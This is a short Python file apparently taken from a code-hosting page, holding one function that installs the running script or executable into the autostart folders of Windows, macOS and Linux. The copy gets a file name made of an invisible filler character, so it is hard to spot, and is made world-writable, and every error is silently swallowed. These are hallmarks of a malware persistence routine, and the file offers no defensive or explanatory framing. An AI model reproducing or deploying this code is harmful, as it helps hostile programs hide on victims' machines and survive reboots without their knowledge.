28 lines
942 B
Python
28 lines
942 B
Python
def _startup():
|
||
startup = False
|
||
|
||
try:
|
||
file_path = os.path.abspath(sys.argv[0])
|
||
|
||
if file_path.endswith(".exe"):
|
||
ext = "exe"
|
||
elif file_path.endswith(".py"):
|
||
ext = "py"
|
||
|
||
new_name = f"ㅤ.{ext}"
|
||
|
||
if sys.platform.startswith('win'):
|
||
folder = os.path.join(os.getenv('APPDATA'), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup')
|
||
elif sys.platform.startswith('darwin'):
|
||
folder = os.path.join(os.path.expanduser('~'), 'Library', 'LaunchAgents')
|
||
elif sys.platform.startswith('linux'):
|
||
folder = os.path.join(os.path.expanduser('~'), '.config', 'autostart')
|
||
path_new_file = os.path.join(folder, new_name)
|
||
|
||
shutil.copy(file_path, path_new_file)
|
||
os.chmod(path_new_file, 0o777)
|
||
return startup
|
||
except:
|
||
startup = False
|
||
pass
|
||
return startup |